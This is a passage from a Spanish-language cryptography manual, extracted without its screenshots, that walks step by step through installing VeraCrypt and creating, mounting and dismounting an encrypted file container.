sistema operativo que estemos usando desde la web de descargas:

756
Criptografía

Tras descargarlo, lo ejecutamos, aceptamos la licencia si estamos de acuerdo y pulsamos


en Next:

757
Criptografía

Como queremos instalarlo, dejamos la opción Install seleccionada y hacemos click en Next:

Tras revisar las opciones y la ruta por defecto, hacemos click en Install:

758
Criptografía

Al finalizar la instalación nos notificará si ha sido realizada correctamente. Hacemos click en


OK:

y después click en Finish:

759
Criptografía

Nos preguntará si queremos ver el tutoríal de VeraCrypt. En este caso, selecciono No:

Tras instalarlo, ejecutamos VeraCrypt:

760
Criptografía

Hacemos click en Create Volume:

761
Criptografía

para crear un contenedor de VeraCrypt. Un contenedor de VeraCrypt es un disco duro


virtual cifrado que guardaremos en un archivo. Vamos a ver cómo funciona. Seleccionamos
la opción Create an encrypted file container y pulsamos Next:

762
Criptografía

Seleccionamos Standard VeraCrypt volume y hacemos click en Next:

Pulsamos sobre el botón Select File...:

Damos un nombre al contenedor y pulsamos el botón Save:

763
Criptografía

Pulsamos en Next para continuar:

En este caso, dejamos las opciones por defecto y pulsamos el botón Next:

764
Criptografía

Seleccionamos el tamaño del disco duro que queramos y pulsamos en Next:

Ponemos una contraseña para poder descifrar la información del contenedor y pulsamos en
Next:

765
Criptografía

A continuación nos preguntará si queremos almacenar archivos de más de 4GB en el


contenedor. En este caso, selecciono Yes y pulso en Next:

Por último, movemos el ratón de forma aleatoria hasta que la barra llegue al final y después
pulsamos el botón format:

766
Criptografía

para comenzar a crear el contenedor:

Una vez termine de crearlo, nos lo notificará:

767
Criptografía

y nos preguntará si queremos crear otro contenedor. En este caso, seleccionamos Exit para
salir:

Podemos verificar que se ha creado un archivo del tamaño que seleccionamos. En este
caso 10GB:

768
Criptografía

Para abrir el disco duro virtual que hay en este archivo, volvemos a VeraCrypt, hacemos
click en la letra que queramos y pulsamos el botón Select File...:

Seleccionamos el archivo que hemos creado y hacemos click en el botón Open:

769
Criptografía

Una vez seleccionado el fichero y la letra, hacemos click sobre Mount:

Nos preguntará la contraseña para poder descifrar el contenido del archivo y montar el
disco duro virtual. La introducimos y hacemos click en el botón OK:

770
Criptografía

Una vez termine de montar el disco duro virtual, veremos la ruta del archivo al lado de la
letra P:

771
Criptografía

y podremos ver que se ha creado una nueva unidad de disco:

podemos usar esta nueva unidad como cualquier otra unidad de almacenamiento y guardar
en ella la información que queramos que esté cifrada:

772
Criptografía

Una vez terminemos de usar la unidad, antes de apagar el ordenador, debemos desmontar
la unidad. Para ello, volvemos a VeraCrypt y pulsamos el botón Dismount:

para desmontar el contenedor de VeraCrypt:

773
Criptografía

774

También podría gustarte